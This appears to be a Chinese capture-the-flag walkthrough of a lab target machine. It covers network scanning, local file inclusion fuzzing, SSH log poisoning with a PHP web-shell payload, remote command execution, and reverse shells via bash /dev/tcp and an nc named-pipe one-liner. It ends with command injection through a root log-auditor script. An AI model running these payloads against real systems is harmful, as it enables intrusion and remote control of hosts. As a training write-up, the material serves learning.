一、IP探测
arp-scan -l
靶机IP为172.20.10.3
二、端口扫描
nmap -sV -T4 -p- -A 172.20.10.3
只开放了80端口。
三、端口分析(80端口)
这里有一个参数,可以包含本地文件。这是一个可以利用的点。其他的就没有找到什么了。
四、漏洞利用
这个参数可以爆破一下后台文件。
可以先用dirb试试。
dirb http://172.20.10.3
扫到了一些路径但基本都是index,没什么用。
要用参数爆破,利用burpsuite的intruder模块爆破file参数。
选用LFI的字典
字典链接:https://github.com/danielmiessler/SecLists
字典名为LFI-Jhaddix.txt
前几个是访问成功的,可以看到是日志文件。
auth.log的状态码是302,有重定向。点击查看数据包。
可以看到日志,因此可以考虑日志注入,也就是通过执行命令然后在日志中查看操作及对应结果。
先通过ssh注入一段php代码
ssh '<?php system($_GET[cmd]);?>'@172.20.10.3
密码随便填
然后查看日志
可以通过curl命令查询。
curl http://http://172.20.10.3/?file=/var/log/auth.log
发现了这条ssh连接记录,但是用户名被隐藏了。
curl 'http://172.20.10.3/index.php?file=/var/log/auth.log&cmd=ls'
看到了ls的结果,说明可以RCE。
构造payload反弹shell。
#新开一个终端然后输入以下命令
nc -lvvp 1234
#即监听1234端口
在原终端中输入
curl 'http://172.20.10.3/index.php?file=/var/log/auth.log&cmd=bash -i >& /dev/tcp/172.20.10.2/1234 0>&1'
需要url编码。
curl 'http%3A%2F%2F172.20.10.3%2Findex.php%3Ffile%3D%2Fvar%2Flog%2Fauth.log%26cmd%3Dbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.20.10.2%2F1234%200%3E%261'
还是不行,可能是这种反弹方法有问题。换一个反弹方法
mknod backpipe p && nc 172.20.10.2 1234 0<backpipe | /bin/bash 1>backpipe
进行url编码然后加上curl命令
curl 'http://172.20.10.3/index.php?file=/var/log/auth.log&cmd=mknod+backpipe+p+%26%26+nc+172.20.10.2+1234+0%3Cbackpipe+%7C+%2Fbin%2Fbash+1%3Ebackpipe'
后续由于笔者的环境出现了问题,换到了另一台电脑上进行了后续操作。没有截图,只能口述了。。。
后续打开xxxlogauditorxxx.py的脚本,发现特别长。
尝试运行一下
输入命令
/var/log/auth.log | ls /root
看到了一个flag.png的文件,复制到公共目录temp用wget命令下载下来。
打开发现不是,用cat命令查看看到base64编码,解码一下就是flag。